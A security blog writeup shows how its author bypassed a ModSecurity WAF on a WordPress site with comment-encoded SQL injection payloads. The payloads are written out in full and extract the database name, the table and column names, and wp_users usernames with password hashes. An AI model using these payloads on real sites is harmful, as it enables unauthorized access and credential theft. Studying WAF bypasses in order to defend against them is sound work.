Fun sql injection — mod_security bypass
quality 7/10 · good
0 net
AI Summary
Technical writeup demonstrating SQL injection bypass of ModSecurity WAF using MySQL comment encoding (/*!50000*/) and alternative payload construction with MOD/DIV operators and variable assignment to extract WordPress database credentials and schema information.
Tags
Entities
_Y000_
Fun sql injection — mod_security bypass | by _Y000_ | in InfoSec Write-ups - Freedium
Milestone: 20GB Reached
We’ve reached 20GB of stored data — thank you for helping us grow!
Patreon
Ko-fi
Liberapay
Close
< Go to the original
Fun sql injection — mod_security bypass
In this writing I would like to show you a somewhat peculiar case with which I came across testing a website.
_Y000_
Follow
InfoSec Write-ups
·
~4 min read
·
April 16, 2021 (Updated: January 7, 2022)
·
Free: No
This is an sql injection where I could bypass the "mod_security" waf.
When I start the sql injection test I realize that the website is using that waf.
We get the error when using a simple: site/ejemplo?parameter=-1+union+selec+1,2,3,4,5,6,7+--+
Now, I'm not going to lie to you, just by encoding the payload with comments, I was able to bypass the waf filter. site/ejemplo?parameter=-1+/*!50000union*/+/*!50000selec*/+1,2,3,4,5,6,7+--+
We can see that one of the vulnerable columns is number four.
But like all a lover of sql injections I decided not to leave it like that and try other methods, other payloads .. After many tests and failed mixed payloads.
I ended up trying this: AND mod(29,9)+div+ @a :=(concat(database(),"--","_Y000!_"))+UNION+DISTINCTROW+SELECT+1,2,3, @a ,5,6,7
Now what is this all about?
we have: "AND" = The AND operator returns a record if all conditions separated by AND are TRUE.
"mod(29,9)" = The mod function is to make a division between the values.
"div" = In sql the div function is used to divide
"@a:=" = This serves as an alias to save an sql query inside, example: @a :=(concat(database(),"--","_Y000!_"))
"union" = works to join more than 2 sql commands
"distinctrow" = helps us avoid duplicate results
"select" = select what we want from the database
"1,2,3,4,5,6,7" = number of columns in the database
"AND mod(29,9)+div+ @a :=(concat(database(),"--","_Y000!_"))+UNION+DISTINCTROW+SELECT+1,2,3, @a ,5,6,7"
The result we get when injecting this payload without coding of some kind is the following:
Remember that previously we can skip the filters using comment encoding: -1+AND+mod(29,9)+div+ @a :=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3, @a ,"_Y000!_",6,7--+
With the encoding we end up skipping the waf again but with a new payload!
Now I am going to teach something that I found interesting.
As we can see in the previous image, we were able to extract the information from the database, in this case in the name of this, we also have some separators and my nickname, thanks to the injection inside concat @a :=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)
We have this in the "Description" section but on the right we have the option to download a file.
The funny thing is that the option to download the file is vulnerable too and clearly shows us that the vulnerable column is number 5.
Taking advantage of the bug, let's test a little more!
We add a little more information to the payload to be able to extract the basic information from the name of the database tables: -1+AND+mod(29,9)+div+ @a :=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3, @a ,table_name,6,7+/*!50000from*/+/*!50000information_schema.tables*/+--+
And we have the following result:
If you can see, before we only had a file to download, in this case, when adding to the payload the sentence to extract the name of the tables, more information appears, but looking more closely at everything new that appears is the information of the database extracted by the payload, as you can see in the image on the right side we have many that is for the tables in HTML, within each of them we have the name of the tables of the database.
looking a little more … I realized that the page uses wordpress …
It literally leaves us nothing hidden! -1+AND+mod(29,9)+div+ @a :=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3, @a ,column_name,6,7+/*!50000from*/+/*!50000information_schema.columns*/+/*!50000where*/+/*!50000table_name="wp_users"*/+--+
Finally, I was able to find the username and password information -1+AND+mod(29,9)+div+ @a :=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3, @a ,/*!50000CoNcAt(user_nicename,"--",user_pass)*/,6,7+/*!50000from*/+/*!50000wp_users*/+--+
NOTE: never leave an unmarked site everywhere, the error may be in the least intended part
Thank you very much for taking the time to read this writing.
What did you think? Have you encountered similar errors?
#sql-injection #wordpress #ciberseguridad #hacking
Reporting a Problem
Sometimes we have problems displaying some Medium posts.
If you have a problem that some images aren't loading - try using VPN. Probably you have problem with
access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).